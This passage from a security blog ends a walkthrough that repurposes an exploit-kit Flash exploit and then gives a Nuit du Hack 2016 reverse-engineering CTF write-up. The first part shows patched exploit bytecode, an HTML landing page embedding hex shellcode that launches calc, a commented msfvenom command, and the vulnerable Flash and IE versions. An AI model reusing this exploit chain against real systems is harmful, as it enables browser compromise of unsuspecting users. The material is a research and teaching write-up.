    findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray")
    constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0
    coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
    setlocal 6
    getlex Qname(PackageNamespace("_-A"),"class_10")
    getlex Qname(PackageNamespace("continue const"),"class_11")
    pushstring "VgngSua8bVXwXmNqNzBQakeey/ ... MRoJTpZsZRgNnL7pmq6NY7VV1r/nBQVh"
    callproperty Qname(PackageNamespace("","2"),"method_72") 1
    getlocal_1
    callproperty Qname(PackageNamespace("","2"),"rc4_decrypt") 2
    coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
    dup
    dup
    setlocal 5
    getproperty Qname(PackageNamespace("","2"),"length")
    setproperty Qname(PackageNamespace("","2"),"position")
    getlocal 9
    iffalse ofs00aa
    getlocal_3
    getlocal 5
    getlocal_3
    kill 3

This is how the bytecode should look like after the change:

    findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray")
    constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0
    coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
    setlocal 6
    getlocal 9
    iffalse ofs008d
    getlocal_3
    getlocal 5
    getlocal_3
    kill 3

We have simply removed the 11 instructions that generate the 1st part of the shellcode. The last quest is to create a landing page that serves both our Flash file and the shellcode:


<html>
<body>

<object type="application/x-shockwave-flash" data="Torment10.swf" allowScriptAccess=always width="500" height="500">
    <param name="movie" value="Torment10.swf"/>
    <param name="bgcolor" value="#ffffff"/>
    <param name="allowScriptAccess" value="always"/>
    <param name="play" value="true" />
 
    <!-- Calc: Hacking Team -->
    <param name=FlashVars value="exec=558BEC83C4AC535157648B05300000008B400C8B400C8B008B008B581889D803403C8B507801DA8B7A2001DF31C98B0701D8813843726561751C81780B7373410075138B422401D80FB704488B521C01DA031C82EB0983C704413B4A187CCF8D45F0508D7DAC5731C0B911000000F3ABC745AC44000000505050505050E80900000063616C632E6578650050FFD35F595BC1E00383C006C9C3909090" />
 
    <!-- Msgbox : msfvenom -p windows/messagebox TEXT="PWNED" -f c | grep '"' | tr -d '"|\\x|\n' -->
    <!--  -->
 
 
</object>

</body>
</html>



I took the liberty of giving 2 shellcode examples. The top one pops calc and was taken directly from the Hacking Team's Flash exploit and the bottom, which has been commented out, was generated using msfvenom and pops a message box.

Put both the landing page and Torment10.swf in the same folder. Make sure you have Flash Player 19.0.0.207 AX non-debug installed and open the html page with IE11:


The final versions of the files can be downloaded here

Spending the Blood Shards (Conclusion)


Congrats to those of you who made it this far !! In this blog post we've looked at one Spartan EK's Flash exploits and repurposed it to our needs. At this point I would love to hear your feedback and comments. Once again .. おめでとうございます.

PS: Exuse my heavy use of Diablo 3 references :P

Tuesday, 5 April 2016

CTF Writeup - Nuit du Hack CTF Quals 2016 - Matryoshka (50+100+300+500)


  • Name - Matryoshka
  • Category - Reverse Engineering
  • Points - 50+100+300+500
  • Description - n/a
  • Binary - Download here

I found the RE challenges in this CTF to be quite easy, apart from the last one which is surprisingly hard considering the ease with which I've completed the previous ones. The 4 Matryoshka levels depend on each other and require you to complete the previous one to advance.

Level 1


Running the ELF 64-bit:

root@kali: ~/Desktop
root@kali:~/Desktop# ./stage1.bin Usage: ./stage1.bin <pass> root@kali:~/Desktop# ./stage1.bin vulnerablespace Try again... root@kali:~/Desktop#


Looking at it in IDA we get our answer straight away:


We input the password:

root@kali: ~/Desktop
root@kali:~/Desktop# ./stage1.bin Much_secure__So_safe__Wow Good good! c3RhZ2UyLmJpbgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwMDA3NTUAMDAwMTc1 .. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== root@kali:~/Desktop#


Apart from the success message, the binary outputs a long base64 string which translates to the binary used for the next stage.

Level 2


Running the binary we are greeted with the same message so let's go straight to the debugger. The password checks reside in sub_4006F2 which looks like this:


if ( 42 * (strlen(*(const char **)(a2 + 8)) + 1) != 504 )
    goto LABEL_31;
v4 = 1;
if ( **(_BYTE **)(a2 + 8) != 80 )
    v4 = 0;
if ( 2 * *(_BYTE *)(*(_QWORD *)(a2 + 8) + 3LL) != 200 )
    v4 = 0;
if ( **(_BYTE **)(a2 + 8) + 16 != *(_BYTE *)(*(_QWORD *)(a2 + 8) + 6LL) - 16 )
    v4 = 0;
v3 = *(_BYTE *)(*(_QWORD *)(a2 + 8) + 5LL);
if ( v3 != 9 * strlen(*(const char **)(a2 + 8)) - 4 )
    v4 = 0;
if ( *(_BYTE *)(*(_QWORD *)(a2 + 8) + 1LL) != *(_BYTE *)(*(_QWORD *)(a2 + 8) + 7LL) )
    v4 = 0;
if ( *(_BYTE *)(*(_QWORD *)(a2 + 8) + 1LL) != *(_BYTE *)(*(_QWORD *)(a2 + 8) + 10LL) )
    v4 = 0;
if ( *(_BYTE *)(*(_QWORD *)(a2 + 8) + 1LL) - 17 != **(_BYTE **)(a2 + 8) )
    v4 = 0;
if ( *(_BYTE *)(*(_QWORD *)(a2 + 8) + 3LL) != *(_BYTE *)(*(_QWORD *)(a2 + 8) + 9LL) )
    v4 = 0;
if ( *(_BYTE *)(*(_QWORD *)(a2 + 8) + 4LL) != 105 )
    v4 = 0;
if ( *(_BYTE *)(*(_QWORD *)(a2 + 8) + 2LL) - *(_BYTE *)(*(_QWORD *)(a2 + 8) + 1LL) != 13 )
    v4 = 0;
if ( *(_BYTE *)(*(_QWORD *)(a2 + 8) + 8LL) - *(_BYTE *)(*(_QWORD *)(a2 + 8) + 7LL) != 13 )
    v4 = 0;
if ( v4 )
    result = sub_40064D(*(const char **)(a2 + 8));
else
LABEL_31:
    result = fprintf(stdout, "Try again...\n", a2);


The goal here is to make it to sub_40064D and hence we need to satify each equation. These state that:
  • Line 1 - Password length = 11 characters
  • Line 4 - password[0] = 'P'
  • Line 6 - password[3] = 'd'
  • Line 8 - password[6] = password[0] - 32 = 'p'
  • Line 11 - password[5] = (len(password) * 9) - 4 = '_'
  • Line 13 - password[1] = password[7]
  • Line 15 - password[1] = password[10]
  • Line 17 - password[1] = password[0] + 17 = 'a'
  • Line 19 - password[3] = password[9]
  • Line 21 - password[4] = 'i'
  • Line 23 - password[2] - password[1] = 13
  • Line 25 - password[8] - password[7] = 13

Solving the equations we end up with Pandi_panda

Level 3


Decoding the base64 from the previous stage gives us the ELF for Matryoshka Level 3. The binary uses signals and interrupts to jump from one check to another. The first instance can be seen below:


The handler function for the first interrupt is sub_4007FD. IDA will complain about the SIGSEGV signal received but this is all part of the challenge so select "Yes (pass to app)" when prompted. The handler contains the following code:


void sub_4007FD()
{
    signed int v0; // ecx@1

    v0 = 1000 * dest;
    if ( v0 / 68 > 999 && v0 / 68 <= 1000 )
        signal(11, handler);
}


The function checks if dest, which points to the start of our input string, is equal to 68 decimal, i.e. 0x44, i.e. 'D'. The signal handler points to the 2nd signal handler, sub_4008C7 which has the following code:


void sub_4008C7()
{
    signed int v0; // ecx@1

    v0 = 1000 * byte_6040C2;
    if ( v0 / 100 > 999 && v0 / 100 <= 1000 )
        signal(11, (__sighandler_t)sub_400926);
}


This checks if the 2nd character of the input string is equal to 'i'. Going through all the signal handlers we get the flag:
Did_you_like_signals?

Level 4


This stage proved to be tough and had me resort to technologies I've never used before. The reason is this:

root@kali: ~/Desktop
root@kali:~/Desktop# file stage4.bin stage4.bin: DOS/MBR boot sector root@kali:~/Desktop#


An MBR boot sector ?? What am I suppose to do with it ? After some research I thought I'd tackle it using Bochs and IDA which, to be fair, did get me the final flag, but not without it's fair share of pain and sufferance. To get it working I roughly followed this guide. I'll still be explaining the procedure from the beginning as I felt it was quite an achievement when I saw it run the MBR.

Create a Hard Disk image by running bximage.exe found in the Bochs folder. Stick to the default settings by pressing Enter at each stage. Make sure to run the binary from a writeable folder as the files are created there by default.

Now we need to create a bochsrc file for Bochs to load which references our newly created hard disk. Create a file called ndh.bochsrc containing the following lines:

memory: guest=512, host=256
ata0-master: type=disk, path="c.img", mode=flat
boot: disk


The 1st line is there only for IDA to recognise that the file is a bochsrc. The 2nd line is copied from the end of the bximage.exe wizard and the 3rd line tells Bochs to start booting from disk. The next step is to overwrite the first sectors of c.img with the MBR. I'm sure this can be done using dd but I've opted to use the following python script:


    # open image file
    f = open("c.img", "r+b")
    if not f:
         print "Could not open image file!"

    # open MBR file
    f2 = open("stage4.bin", "rb")
    if not f2:
        print "Could not open mbr file!"

    # read whole MBR file
    mbr = f2.read()
    f2.close()

    # update image file
    f.write(mbr)
    f.close()


Run C:\path\to\bochs\bochs.exe -f ndh.bochsrc, click Start and you should get a retro VM executing the MBR sectors:



Opening ndh.bochsrc with IDA we get the option to interpret the file as a "Bochs configuration file". Without the first line in the configuration IDA does not recognise it as a Bochs conf file and hence we do not get this option.


The issue I found here is that IDA interprets the instructions as being 16-bit. To get around this I viewed the Segments while the program was suspendeded and manually edited their bitness. I tried choosing a different processor architecture when opening the bochsrc file but that didn't work. If anyone has a better solution to this please send me a message!

The first routine that stands out when running the program is the following:

debug001:00000E67 push    edi
debug001:00000E68 push    eax
debug001:00000E69 push    esi
debug001:00000E6A push    ebx
debug001:00000E6B
debug001:00000E6B loc_146B:
debug001:00000E6B
debug001:00000E6B cmp     eax, 0
debug001:00000E6E jz      short loc_1489
debug001:00000E70 mov     cl, [edi]
debug001:00000E72 mov     dl, [esi]
debug001:00000E74 xor     cl, dl
debug001:00000E76 mov     [edi], cl
debug001:00000E78 dec     eax
debug001:00000E79 dec     ebx
debug001:00000E7A inc     edi
debug001:00000E7B inc     esi
debug001:00000E7C cmp     ebx, 0
debug001:00000E7F jg      short loc_146B
debug001:00000E81 pop     ebx
debug001:00000E82 push    ebx
debug001:00000E83 sub     esi, ebx
debug001:00000E85 jmp     short loc_146B


This function decrypts the messages used in the program and encrypts our input.

The messages before decryption:


The messages after decryption:


Our input before encryption:


Our input after encryption:


The key used in these operations is the following:


6C 53 05 6A 5C FC FB 0E AD 4A B9 93 AD .. .. ..

I found the program to be hard to follow instruction by instruction and after a while I got tired of pressing F7 so I've created a Read/Write Hardware breakpoint on the input buffer. After a few breakpoint I've arrived at what looked something promising:



Following it through we get Good_Game_!. The string displays the success message in the VM but was rejected when I submitted it to the CTF. I got a bit frustrated at this as I was pretty tired. Luckily the answer was not far off. I continued monitoring the read/write accesses to the input string and got to another set of comparisons:


These compare out enrypted string to a set of fixed values. Once again we collect all the bytes and we get:

28 37 77 5b 31 90 d4 68 df 2c b9


Using the pre-found key and this we compute the magic word:

   +---------------------------------------------------------------------------------------+
   |  Result  |  28  |  37  |  77  |  5B  |  31  |  90  |  D4  |  68  |  DF  |  2C  |  B9  |
   |----------+------+------+------+------+------+------+------+------+------+------+------+
   |    Key   |  6C  |  53  |  05  |  6A  |  5C  |  FC  |  FB  |  0E  |  AD  |  4A  |  B9  |
   |----------+------+------+------+------+------+------+------+------+------+------+------+
   | Hex Word |  44  |  64  |  72  |  31  |  6D  |  6C  |  2F  |  66  |  72  |  66  |  00  |  
   +---------------------------------------------------------------------------------------+


The hex words translate to Ddr1ml/frf which give us the success message and also worked when submitting it to the CTF: